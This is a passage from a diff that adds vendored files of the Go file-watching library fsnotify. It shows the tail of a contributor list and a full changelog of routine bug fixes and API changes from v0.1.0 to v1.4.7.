+Hari haran <[email protected]>
+John C Barstow
+Kelvin Fo <[email protected]>
+Ken-ichirou MATSUZAWA <[email protected]>
+Matt Layher <[email protected]>
+Nathan Youngman <[email protected]>
+Nickolai Zeldovich <[email protected]>
+Patrick <[email protected]>
+Paul Hammond <[email protected]>
+Pawel Knap <[email protected]>
+Pieter Droogendijk <[email protected]>
+Pursuit92 <[email protected]>
+Riku Voipio <[email protected]>
+Rob Figueiredo <[email protected]>
+Rodrigo Chiossi <[email protected]>
+Slawek Ligus <[email protected]>
+Soge Zhang <[email protected]>
+Tiffany Jernigan <[email protected]>
+Tilak Sharma <[email protected]>
+Tom Payne <[email protected]>
+Travis Cline <[email protected]>
+Tudor Golubenco <[email protected]>
+Vahe Khachikyan <[email protected]>
+Yukang <[email protected]>
+bronze1man <[email protected]>
+debrando <[email protected]>
+henrikedwards <[email protected]>
+铁哥 <[email protected]>
@@ -0,0 +1,317 @@
+# Changelog
+
+## v1.4.7 / 2018-01-09
+
+* BSD/macOS: Fix possible deadlock on closing the watcher on kqueue (thanks @nhooyr and @glycerine)
+* Tests: Fix missing verb on format string (thanks @rchiossi)
+* Linux: Fix deadlock in Remove (thanks @aarondl)
+* Linux: Watch.Add improvements (avoid race, fix consistency, reduce garbage) (thanks @twpayne)
+* Docs: Moved FAQ into the README (thanks @vahe)
+* Linux: Properly handle inotify's IN_Q_OVERFLOW event (thanks @zeldovich)
+* Docs: replace references to OS X with macOS
+
+## v1.4.2 / 2016-10-10
+
+* Linux: use InotifyInit1 with IN_CLOEXEC to stop leaking a file descriptor to a child process when using fork/exec [#178](https://github.com/fsnotify/fsnotify/pull/178) (thanks @pattyshack)
+
+## v1.4.1 / 2016-10-04
+
+* Fix flaky inotify stress test on Linux [#177](https://github.com/fsnotify/fsnotify/pull/177) (thanks @pattyshack)
+
+## v1.4.0 / 2016-10-01
+
+* add a String() method to Event.Op [#165](https://github.com/fsnotify/fsnotify/pull/165) (thanks @oozie)
+
+## v1.3.1 / 2016-06-28
+
+* Windows: fix for double backslash when watching the root of a drive [#151](https://github.com/fsnotify/fsnotify/issues/151) (thanks @brunoqc)
+
+## v1.3.0 / 2016-04-19
+
+* Support linux/arm64 by [patching](https://go-review.googlesource.com/#/c/21971/) x/sys/unix and switching to to it from syscall (thanks @suihkulokki) [#135](https://github.com/fsnotify/fsnotify/pull/135)
+
+## v1.2.10 / 2016-03-02
+
+* Fix golint errors in windows.go [#121](https://github.com/fsnotify/fsnotify/pull/121) (thanks @tiffanyfj)
+
+## v1.2.9 / 2016-01-13
+
+kqueue: Fix logic for CREATE after REMOVE [#111](https://github.com/fsnotify/fsnotify/pull/111) (thanks @bep)
+
+## v1.2.8 / 2015-12-17
+
+* kqueue: fix race condition in Close [#105](https://github.com/fsnotify/fsnotify/pull/105) (thanks @djui for reporting the issue and @ppknap for writing a failing test)
+* inotify: fix race in test
+* enable race detection for continuous integration (Linux, Mac, Windows)
+
+## v1.2.5 / 2015-10-17
+
+* inotify: use epoll_create1 for arm64 support (requires Linux 2.6.27 or later) [#100](https://github.com/fsnotify/fsnotify/pull/100) (thanks @suihkulokki)
+* inotify: fix path leaks [#73](https://github.com/fsnotify/fsnotify/pull/73) (thanks @chamaken)
+* kqueue: watch for rename events on subdirectories [#83](https://github.com/fsnotify/fsnotify/pull/83) (thanks @guotie)
+* kqueue: avoid infinite loops from symlinks cycles [#101](https://github.com/fsnotify/fsnotify/pull/101) (thanks @illicitonion)
+
+## v1.2.1 / 2015-10-14
+
+* kqueue: don't watch named pipes [#98](https://github.com/fsnotify/fsnotify/pull/98) (thanks @evanphx)
+
+## v1.2.0 / 2015-02-08
+
+* inotify: use epoll to wake up readEvents [#66](https://github.com/fsnotify/fsnotify/pull/66) (thanks @PieterD)
+* inotify: closing watcher should now always shut down goroutine [#63](https://github.com/fsnotify/fsnotify/pull/63) (thanks @PieterD)
+* kqueue: close kqueue after removing watches, fixes [#59](https://github.com/fsnotify/fsnotify/issues/59)
+
+## v1.1.1 / 2015-02-05
+
+* inotify: Retry read on EINTR [#61](https://github.com/fsnotify/fsnotify/issues/61) (thanks @PieterD)
+
+## v1.1.0 / 2014-12-12
+
+* kqueue: rework internals [#43](https://github.com/fsnotify/fsnotify/pull/43)
+    * add low-level functions
+    * only need to store flags on directories
+    * less mutexes [#13](https://github.com/fsnotify/fsnotify/issues/13)
+    * done can be an unbuffered channel
+    * remove calls to os.NewSyscallError
+* More efficient string concatenation for Event.String() [#52](https://github.com/fsnotify/fsnotify/pull/52) (thanks @mdlayher)
+* kqueue: fix regression in  rework causing subdirectories to be watched [#48](https://github.com/fsnotify/fsnotify/issues/48)
+* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51)
+
+## v1.0.4 / 2014-09-07
+
+* kqueue: add dragonfly to the build tags.
+* Rename source code files, rearrange code so exported APIs are at the top.
+* Add done channel to example code. [#37](https://github.com/fsnotify/fsnotify/pull/37) (thanks @chenyukang)
+
+## v1.0.3 / 2014-08-19
+
+* [Fix] Windows MOVED_TO now translates to Create like on BSD and Linux. [#36](https://github.com/fsnotify/fsnotify/issues/36)
+
+## v1.0.2 / 2014-08-17
+
+* [Fix] Missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso)
+* [Fix] Make ./path and path equivalent. (thanks @zhsso)
+
+## v1.0.0 / 2014-08-15
+
+* [API] Remove AddWatch on Windows, use Add.
+* Improve documentation for exported identifiers. [#30](https://github.com/fsnotify/fsnotify/issues/30)
+* Minor updates based on feedback from golint.
+
+## dev / 2014-07-09
+
+* Moved to [github.com/fsnotify/fsnotify](https://github.com/fsnotify/fsnotify).
+* Use os.NewSyscallError instead of returning errno (thanks @hariharan-uno)
+
+## dev / 2014-07-04
+
+* kqueue: fix incorrect mutex used in Close()
+* Update example to demonstrate usage of Op.
+
+## dev / 2014-06-28
+
+* [API] Don't set the Write Op for attribute notifications [#4](https://github.com/fsnotify/fsnotify/issues/4)
+* Fix for String() method on Event (thanks Alex Brainman)
+* Don't build on Plan 9 or Solaris (thanks @4ad)
+
+## dev / 2014-06-21
+
+* Events channel of type Event rather than *Event.
+* [internal] use syscall constants directly for inotify and kqueue.
+* [internal] kqueue: rename events to kevents and fileEvent to event.
+
+## dev / 2014-06-19
+
+* Go 1.3+ required on Windows (uses syscall.ERROR_MORE_DATA internally).
+* [internal] remove cookie from Event struct (unused).
+* [internal] Event struct has the same definition across every OS.
+* [internal] remove internal watch and removeWatch methods.
+
+## dev / 2014-06-12
+
+* [API] Renamed Watch() to Add() and RemoveWatch() to Remove().
+* [API] Pluralized channel names: Events and Errors.
+* [API] Renamed FileEvent struct to Event.
+* [API] Op constants replace methods like IsCreate().
+
+## dev / 2014-06-12
+
+* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98)
+
+## dev / 2014-05-23
+
+* [API] Remove current implementation of WatchFlags.
+    * current implementation doesn't take advantage of OS for efficiency
+    * provides little benefit over filtering events as they are received, but has  extra bookkeeping and mutexes
+    * no tests for the current implementation
+    * not fully implemented on Windows [#93](https://github.com/howeyc/fsnotify/issues/93#issuecomment-39285195)
+
+## v0.9.3 / 2014-12-31
+
+* kqueue: cleanup internal watch before sending remove event [#51](https://github.com/fsnotify/fsnotify/issues/51)
+
+## v0.9.2 / 2014-08-17
+
+* [Backport] Fix missing create events on macOS. [#14](https://github.com/fsnotify/fsnotify/issues/14) (thanks @zhsso)
+
+## v0.9.1 / 2014-06-12
+
+* Fix data race on kevent buffer (thanks @tilaks) [#98](https://github.com/howeyc/fsnotify/pull/98)
+
+## v0.9.0 / 2014-01-17
+
+* IsAttrib() for events that only concern a file's metadata [#79][] (thanks @abustany)
+* [Fix] kqueue: fix deadlock [#77][] (thanks @cespare)
+* [NOTICE] Development has moved to `code.google.com/p/go.exp/fsnotify` in preparation for inclusion in the Go standard library.
+
+## v0.8.12 / 2013-11-13
+
+* [API] Remove FD_SET and friends from Linux adapter
+
+## v0.8.11 / 2013-11-02
+
+* [Doc] Add Changelog [#72][] (thanks @nathany)
+* [Doc] Spotlight and double modify events on macOS [#62][] (reported by @paulhammond)
+
+## v0.8.10 / 2013-10-19
+
+* [Fix] kqueue: remove file watches when parent directory is removed [#71][] (reported by @mdwhatcott)
+* [Fix] kqueue: race between Close and readEvents [#70][] (reported by @bernerdschaefer)
+* [Doc] specify OS-specific limits in README (thanks @debrando)
+
+## v0.8.9 / 2013-09-08
+
+* [Doc] Contributing (thanks @nathany)
+* [Doc] update package path in example code [#63][] (thanks @paulhammond)
+* [Doc] GoCI badge in README (Linux only) [#60][]
+* [Doc] Cross-platform testing with Vagrant  [#59][] (thanks @nathany)
+
+## v0.8.8 / 2013-06-17
+
+* [Fix] Windows: handle `ERROR_MORE_DATA` on Windows [#49][] (thanks @jbowtie)
+
+## v0.8.7 / 2013-06-03
+
+* [API] Make syscall flags internal
+* [Fix] inotify: ignore event changes
+* [Fix] race in symlink test [#45][] (reported by @srid)
+* [Fix] tests on Windows
+* lower case error messages
+
+## v0.8.6 / 2013-05-23
+
+* kqueue: Use EVT_ONLY flag on Darwin
+* [Doc] Update README with full example
+
+## v0.8.5 / 2013-05-09
+
+* [Fix] inotify: allow monitoring of "broken" symlinks (thanks @tsg)
+
+## v0.8.4 / 2013-04-07
+
+* [Fix] kqueue: watch all file events [#40][] (thanks @ChrisBuchholz)
+
+## v0.8.3 / 2013-03-13
+
+* [Fix] inoitfy/kqueue memory leak [#36][] (reported by @nbkolchin)
+* [Fix] kqueue: use fsnFlags for watching a directory [#33][] (reported by @nbkolchin)
+
+## v0.8.2 / 2013-02-07
+
+* [Doc] add Authors
+* [Fix] fix data races for map access [#29][] (thanks @fsouza)
+
+## v0.8.1 / 2013-01-09
+
+* [Fix] Windows path separators
+* [Doc] BSD License
+
+## v0.8.0 / 2012-11-09
+
+* kqueue: directory watching improvements (thanks @vmirage)
+* inotify: add `IN_MOVED_TO` [#25][] (requested by @cpisto)
+* [Fix] kqueue: deleting watched directory [#24][] (reported by @jakerr)
+
+## v0.7.4 / 2012-10-09
+
+* [Fix] inotify: fixes from https://codereview.appspot.com/5418045/ (ugorji)
+* [Fix] kqueue: preserve watch flags when watching for delete [#21][] (reported by @robfig)
+* [Fix] kqueue: watch the directory even if it isn't a new watch (thanks @robfig)
+* [Fix] kqueue: modify after recreation of file
+
+## v0.7.3 / 2012-09-27
+
+* [Fix] kqueue: watch with an existing folder inside the watched folder (thanks @vmirage)
+* [Fix] kqueue: no longer get duplicate CREATE events
+
+## v0.7.2 / 2012-09-01
+
+* kqueue: events for created directories
+
+## v0.7.1 / 2012-07-14
+
+* [Fix] for renaming files
+
+## v0.7.0 / 2012-07-02
+
+* [Feature] FSNotify flags
+* [Fix] inotify: Added file name back to event path
+
+## v0.6.0 / 2012-06-06
+
+* kqueue: watch files after directory created (thanks @tmc)
+
+## v0.5.1 / 2012-05-22
+
+* [Fix] inotify: remove all watches before Close()
+
+## v0.5.0 / 2012-05-03
+
+* [API] kqueue: return errors during watch instead of sending over channel
+* kqueue: match symlink behavior on Linux
+* inotify: add `DELETE_SELF` (requested by @taralx)
+* [Fix] kqueue: handle EINTR (reported by @robfig)
+* [Doc] Godoc example [#1][] (thanks @davecheney)
+
+## v0.4.0 / 2012-03-30
+
+* Go 1 released: build with go tool
+* [Feature] Windows support using winfsnotify
+* Windows does not have attribute change notifications
+* Roll attribute notifications into IsModify
+
+## v0.3.0 / 2012-02-19
+
+* kqueue: add files when watch directory
+
+## v0.2.0 / 2011-12-30
+
+* update to latest Go weekly code
+
+## v0.1.0 / 2011-10-19
+
+* kqueue: add watch on file creation to match inotify
+* kqueue: create file event
+* inotify: ignore `IN_IGNORED` events
+* event String()
+* linux: common FileEvent functions
+* initial commit
+
+[#79]: https://github.com/howeyc/fsnotify/pull/79
+[#77]: https://github.com/howeyc/fsnotify/pull/77
+[#72]: https://github.com/howeyc/fsnotify/issues/72
+[#71]: https://github.com/howeyc/fsnotify/issues/71
+[#70]: https://github.com/howeyc/fsnotify/issues/70
+[#63]: https://github.com/howeyc/fsnotify/issues/63
+[#62]: https://github.com/howeyc/fsnotify/issues/62
+[#60]: https://github.com/howeyc/fsnotify/issues/60
+[#59]: https://github.com/howeyc/fsnotify/issues/59
+[#49]: https://github.com/howeyc/fsnotify/issues/49
+[#45]: https://github.com/howeyc/fsnotify/issues/45
+[#40]: https://github.com/howeyc/fsnotify/issues/40
+[#36]: https://github.com/howeyc/fsnotify/issues/36
+[#33]: https://github.com/howeyc/fsnotify/issues/33
+[#29]: https://github.com/howeyc/fsnotify/issues/29
+[#25]: https://github.com/howeyc/fsnotify/issues/25
+[#24]: https://github.com/howeyc/fsnotify/issues/24
+[#21]: https://github.com/howeyc/fsnotify/issues/21